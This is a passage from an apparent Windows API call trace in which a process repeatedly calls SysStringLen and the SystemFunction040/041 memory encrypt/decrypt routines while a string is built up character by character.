Memory=0x8e5f22c) returned 0x0 [0139.203] SysStringLen (param_1="enrLdkKwWRAmaumf") returned 0x10 [0139.203] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939") returned 0x10 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939") returned 0x10 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939") returned 0x10 [0139.204] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939") returned 0x18 [0139.204] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.204] SysStringLen (param_1="enrLdkKwWRAmaumfl髧龈끺۬ᛎ觪") returned 0x18 [0139.204] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.204] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x2a5b\x39d\x63b8\xb6b8\x66b7\xbdaf\xaa1c\xfd37") returned 0x18 [0139.204] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x2a5b\x39d\x63b8\xb6b8\x66b7\xbdaf\xaa1c\xfd37") returned 0x18 [0139.204] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.204] SysStringLen (param_1="enrLdkKwWRAmaumfle龈끺۬ᛎ觪") returned 0x18 [0139.204] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.204] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\xfb09\xc5be\x5b6d\x4ebe\xd23c\x4e43\xe47b\x870c") returned 0x18 [0139.204] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\xfb09\xc5be\x5b6d\x4ebe\xd23c\x4e43\xe47b\x870c") returned 0x18 [0139.204] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.204] SysStringLen (param_1="enrLdkKwWRAmaumfleG끺۬ᛎ觪") returned 0x18 [0139.204] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.204] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x6c0b\xb274\xe502\xd4fb\x898c\x4458\xf3ff\x6d8c") returned 0x18 [0139.204] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x6c0b\xb274\xe502\xd4fb\x898c\x4458\xf3ff\x6d8c") returned 0x18 [0139.204] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.204] SysStringLen (param_1="enrLdkKwWRAmaumfleG4۬ᛎ觪") returned 0x18 [0139.204] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.204] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\xa28e\xec53\xf502\x1ea7\xff89\x8eb3\xd91\xbe8") returned 0x18 [0139.204] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\xa28e\xec53\xf502\x1ea7\xff89\x8eb3\xd91\xbe8") returned 0x18 [0139.204] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.204] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g۬ᛎ觪") returned 0x18 [0139.205] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.205] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x3b3\x6baa\x3299\xa348\xc7d3\xa38c\x9ca4\x489c") returned 0x18 [0139.205] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x3b3\x6baa\x3299\xa348\xc7d3\xa38c\x9ca4\x489c") returned 0x18 [0139.205] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.205] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+ᛎ觪") returned 0x18 [0139.205] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.205] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x6453\xbbbe\x1e22\xde1a\x227c\x2154\x1ee8\x486a") returned 0x18 [0139.205] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x6453\xbbbe\x1e22\xde1a\x227c\x2154\x1ee8\x486a") returned 0x18 [0139.205] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.206] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+Q觪") returned 0x18 [0139.206] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.206] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x1915\x6b24\xad4c\x15d7\x3406\x11e3\x9cce\x33f2") returned 0x18 [0139.206] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x1915\x6b24\xad4c\x15d7\x3406\x11e3\x9cce\x33f2") returned 0x18 [0139.206] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.206] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB") returned 0x18 [0139.206] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.206] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174") returned 0x18 [0139.206] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174") returned 0x18 [0139.206] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174") returned 0x18 [0139.206] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174") returned 0x20 [0139.206] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.206] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2ᓊ퍹칏㮵ꦆ빟") returned 0x20 [0139.206] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.206] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\xff3b\x6517\xc965\x99ef\x2002\x10c8\xb281\x52b3") returned 0x20 [0139.206] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\xff3b\x6517\xc965\x99ef\x2002\x10c8\xb281\x52b3") returned 0x20 [0139.206] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.206] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2S퍹칏㮵ꦆ빟") returned 0x20 [0139.206] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.207] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x9999\x3c43\xafe4\x40e0\x7a7\x7a5e\xd259\x6c91") returned 0x20 [0139.207] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x9999\x3c43\xafe4\x40e0\x7a7\x7a5e\xd259\x6c91") returned 0x20 [0139.207] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.207] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SB칏㮵ꦆ빟") returned 0x20 [0139.207] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.207] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\xf01d\xe75e\xae01\x76f\xf361\x3815\x3a6a\x57eb") returned 0x20 [0139.207] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\xf01d\xe75e\xae01\x76f\xf361\x3815\x3a6a\x57eb") returned 0x20 [0139.207] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.207] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBB㮵ꦆ빟") returned 0x20 [0139.207] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.207] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x9881\x49bc\x30b3\x433a\xea1f\x3cc1\x36da\x6c5e") returned 0x20 [0139.207] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x9881\x49bc\x30b3\x433a\xea1f\x3cc1\x36da\x6c5e") returned 0x20 [0139.207] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.207] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXꦆ빟") returned 0x20 [0139.207] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.207] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\xa77a\x2aa4\x3644\x9f62\x5f07\x85f9\x6803\x2d9") returned 0x20 [0139.207] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\xa77a\x2aa4\x3644\x9f62\x5f07\x85f9\x6803\x2d9") returned 0x20 [0139.207] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.207] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXI빟") returned 0x20 [0139.207] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.207] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\xa8db\x9f8e\x2e45\xd44c\xad16\xda7\xae37\x4240") returned 0x20 [0139.207] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\xa8db\x9f8e\x2e45\xd44c\xad16\xda7\xae37\x4240") returned 0x20 [0139.207] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.208] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIO") returned 0x20 [0139.208] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.208] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\xe772\xc864\xd28a\x63df\x4f80\xbe9b\x632e\xa250") returned 0x20 [0139.208] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\xe772\xc864\xd28a\x63df\x4f80\xbe9b\x632e\xa250") returned 0x20 [0139.208] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.208] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOx") returned 0x20 [0139.208] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.208] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233") returned 0x20 [0139.208] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233") returned 0x20 [0139.208] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233") returned 0x20 [0139.208] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233") returned 0x28 [0139.208] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.208] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxr❅艓㩡Ꭿ뿧㋠") returned 0x28 [0139.208] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.208] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xebbd\x6329\xc518\xacea\x56aa\x4f31\x93e5\xe814") returned 0x28 [0139.208] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xebbd\x6329\xc518\xacea\x56aa\x4f31\x93e5\xe814") returned 0x28 [0139.208] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.208] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxre艓㩡Ꭿ뿧㋠") returned 0x28 [0139.208] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.208] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\x280e\xe9a8\xfda2\x89f7\x306c\x2d47\xb614\x95f1") returned 0x28 [0139.208] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\x280e\xe9a8\xfda2\x89f7\x306c\x2d47\xb614\x95f1") returned 0x28 [0139.208] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.208] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxref㩡Ꭿ뿧㋠") returned 0x28 [0139.208] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.209] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\x2ccd\xf261\x13cb\xae06\xc893\xe599\x251a\x6389") returned 0x28 [0139.209] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\x2ccd\xf261\x13cb\xae06\xc893\xe599\x251a\x6389") returned 0x28 [0139.209] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.209] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxrefiᎯ뿧㋠") returned 0x28 [0139.209] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.209] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xa8be\x7489\x1a14\x93c\x9c99\x84c4\xdd67\x2f59") returned 0x28 [0139.209] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xa8be\x7489\x1a14\x93c\x9c99\x84c4\xdd67\x2f59") returned 0x28 [0139.209] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.209] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxrefi4뿧㋠") returned 0x28 [0139.209] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.209] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\x70ab\xfdcb\xad9d\x50d9\x549c\xef1d\x5bb8\x599f") returned 0x28 [0139.209] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\x70ab\xfdcb\xad9d\x50d9\x549c\xef1d\x5bb8\x599f") returned 0x28 [0139.209] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.209] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxrefi4y뿧㋠") returned 0x28 [0139.209] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.209] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\x2c6f\xc79e\x7397\xeebc\xd972\x6443\x5b5b\x9e94") returned 0x28 [0139.209] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\x2c6f\xc79e\x7397\xeebc\xd972\x6443\x5b5b\x9e94") returned 0x28 [0139.209] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.209] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxrefi4y9㋠") returned 0x28 [0139.209] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.209] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\x17bb\xb406\x37f2\xc753\xfb0e\x66dc\x656b\xef0a") returned 0x28 [0139.210] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\x17bb\xb406\x37f2\xc753\xfb0e\x66dc\x656b\xef0a") returned 0x28 [0139.210] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.210] SysStringLen (param_1="enrLdkKwWRAmaumfleG4g+QB2SBBXIOxrefi4y9+") returned 0x28 [0139.210] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.210] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca") returned 0x28 [0139.210] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca") returned 0x28 [0139.210] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca") returned 0x28 [0139.210] SysStringLen 